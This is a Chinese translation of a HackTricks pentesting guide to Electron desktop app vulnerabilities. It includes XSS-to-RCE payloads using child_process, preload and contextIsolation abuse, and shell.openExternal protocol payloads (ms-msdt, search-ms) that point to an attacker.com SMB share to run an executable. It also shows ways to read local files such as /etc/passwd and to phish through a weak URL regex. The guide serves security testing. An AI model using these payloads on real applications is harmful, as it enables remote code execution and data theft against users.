hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps
2024-02-07 04:49:09 +00:00
..
electron-contextisolation-rce-via-electron-internal-code.md Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u 2024-02-07 04:49:09 +00:00
electron-contextisolation-rce-via-ipc.md Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-02-05 02:56:36 +00:00
electron-contextisolation-rce-via-preload-code.md Translated ['network-services-pentesting/pentesting-printers/cross-site- 2024-01-08 12:42:06 +00:00
README.md Translated ['network-services-pentesting/pentesting-web/README.md', 'net 2023-12-31 02:59:27 +00:00

Electron 桌面应用

从零到英雄学习 AWS 黑客技术,通过 htARTE (HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

介绍

Electron 基于 Chromium,但它不是浏览器。现代浏览器实施的某些原则和安全机制并未到位。
您可以将 Electron 视为一个本地后端+前端应用,其中 NodeJS后端chromium前端

通常您可能会在 .asar 应用程序中找到 electron 应用代码,为了获取代码,您需要提取它:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

在Electron应用程序的源代码中packet.json文件内,可以找到指定了安全配置的main.js文件。

{
"name": "standard-notes",
"main": "./app/index.js",

Electron 有两种进程类型:

  • 主进程(拥有对 NodeJS 的完全访问权限)
  • 渲染进程(出于安全原因,应限制对 NodeJS 的访问权限)

渲染进程将是加载文件的浏览器窗口:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

渲染进程的设置可以在 main.js 文件中的主进程内进行配置。如果设置正确配置,某些配置将防止Electron应用程序获得RCE或其他漏洞。

桌面应用程序可能通过Node API访问用户的设备。以下两个配置负责提供机制防止应用程序JavaScript直接访问用户的设备和系统级命令。

  • nodeIntegration - 默认为off。如果开启允许在渲染进程中访问node功能。
  • contextIsolation - 默认为on。如果开启,主进程和渲染进程不是隔离的。
  • preload - 默认为空。
  • sandbox - 默认为off。它将限制NodeJS可以执行的操作。
  • Workers中的Node集成
  • nodeIntegrationInSubframes- 默认为off
  • 如果**nodeIntegration启用**这将允许在Electron应用程序内的iframes中加载的网页中使用Node.js API
  • 如果**nodeIntegration禁用**则预加载将在iframe中加载

配置示例:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

一些来自此处RCE payloads

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

捕获流量

修改 start-main 配置,并添加使用代理,例如:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron 本地代码注入

如果你能在本地执行 Electron 应用,那么你可能可以让它执行任意的 JavaScript 代码。查看如何操作:

{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %} macos-electron-applications-injection.md {% endcontent-ref %}

RCEXSS + nodeIntegration

如果 nodeIntegration 设置为 on,网页的 JavaScript 可以通过调用 require() 轻松使用 Node.js 功能。例如,在 Windows 上执行计算器应用的方式是:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>
<figure><img src="../../../.gitbook/assets/image (5) (4).png" alt=""><figcaption></figcaption></figure>

## RCE: preload

此设置中指示的脚本会**在渲染器中的其他脚本之前加载**,因此它具有对 Node API 的**无限访问权限**
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

因此脚本可以将node-特性导出到页面:

{% code title="preload.js" %}

typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
{% endcode %}

{% code title="index.html" %}
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

{% endcode %}

{% hint style="info" %} 如果开启了 contextIsolation,这将不起作用 {% endhint %}

RCE: XSS + contextIsolation

contextIsolation 引入了网页脚本与 Electron 内部 JavaScript 代码之间的独立上下文,以便每段代码的 JavaScript 执行不会相互影响。这是消除 RCE 可能性的必要功能。

如果上下文没有隔离,攻击者可以:

  1. 在渲染器中执行任意 JavaScriptXSS 或导航到外部网站)
  2. 重写内置方法,该方法在预加载或 Electron 内部代码中使用,以实现自己的功能
  3. 触发使用重写的函数
  4. RCE?

有两个地方可以重写内置方法:在预加载代码或 Electron 内部代码中:

{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %} electron-contextisolation-rce-via-preload-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %} electron-contextisolation-rce-via-electron-internal-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-ipc.md" %} electron-contextisolation-rce-via-ipc.md {% endcontent-ref %}

绕过点击事件

如果在你点击链接时应用了限制,你可能可以通过中键点击而不是常规左键点击来绕过它们。

window.addEventListener('click', (e) => {

通过 shell.openExternal 实现 RCE

如果 Electron 桌面应用程序部署时正确设置了 nodeIntegrationcontextIsolation;这意味着无法通过针对预加载脚本或来自主进程的 Electron 原生代码实现客户端 RCE

每当用户点击链接或打开新窗口时,将调用以下事件监听器:

{% code overflow="wrap" %}

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

{% endcode %}

桌面应用程序覆盖这些监听器以实现桌面应用程序自己的业务逻辑。在创建新窗口期间,应用程序会检查是否应该在桌面应用程序的窗口或标签页中打开导航链接,或者是否应该在网络浏览器中打开。在我们的示例中,验证是通过函数 openInternally 实现的,如果它返回 false,应用程序将假定链接应该使用 shell.openExternal 函数在网络浏览器中打开。

这里是一个简化的伪代码:

根据 Electron JS 安全最佳实践,openExternal 函数不应接受不可信内容,因为如果应用程序不限制用户通过诸如 https:// 或 http:// 的协议导航,可能会导致利用不同协议进行 RCE

不同的操作系统支持可能触发 RCE 的不同协议,有关它们的更多信息,请查看 https://positive.security/blog/url-open-rce,但这里有一些 Windows 示例:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>


<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%[5Cattacker.com](<http://5cattacker.com/>)%5Csmb_share%5Ctools&displayname=Important%20update")
</script>


<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

有关这些示例的更多信息,请查看 https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8https://benjamin-altpeter.de/shell-openexternal-dangers/

读取内部文件XSS + contextIsolation

如果 contextIsolation 设置为 false你可以尝试使用 <webview>(类似于 <iframe>,但可以加载本地文件)来读取本地文件并泄露它们:使用类似 <webview src=”file:///etc/passwd”></webview>

另一种读取内部文件的方法来自这篇writeup

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + 老版本 Chromium

如果应用程序使用的 chromium老版本,并且存在已知的漏洞,那么可能可以通过 XSS 来利用这些漏洞并获得 RCE
你可以在这篇writeup中看到一个例子:https://blog.electrovolt.io/posts/discord-rce/

通过内部 URL 正则表达式绕过实现的 XSS 钓鱼

假设你发现了一个 XSS但你无法触发 RCE 或窃取内部文件,你可以尝试利用它来通过钓鱼窃取凭证

首先,你需要知道当你尝试打开一个新的 URL 时会发生什么,检查前端的 JS 代码:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

调用 openInternally 将决定链接是否将在桌面窗口中打开,因为它属于平台的链接,或者是否将在浏览器中作为第三方资源打开。

如果函数使用的正则表达式容易被绕过(例如通过不转义子域的点攻击者可以利用XSS打开一个新窗口,该窗口位于攻击者的基础设施中,向用户请求凭据

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

工具

  • Electronegativity 是一个用于识别基于Electron应用程序中的错误配置和安全反模式的工具。
  • Electrolint 是一个开源的VS Code插件适用于Electron应用程序使用Electronegativity。
  • nodejsscan 用于检查存在漏洞的第三方库
  • Electro.ng: 需要购买

实验室

https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s 你可以找到一个实验室来利用存在漏洞的Electron应用程序。

以下是一些在实验室中会帮助到你的命令:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

参考资料

通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS hacking

支持HackTricks的其他方式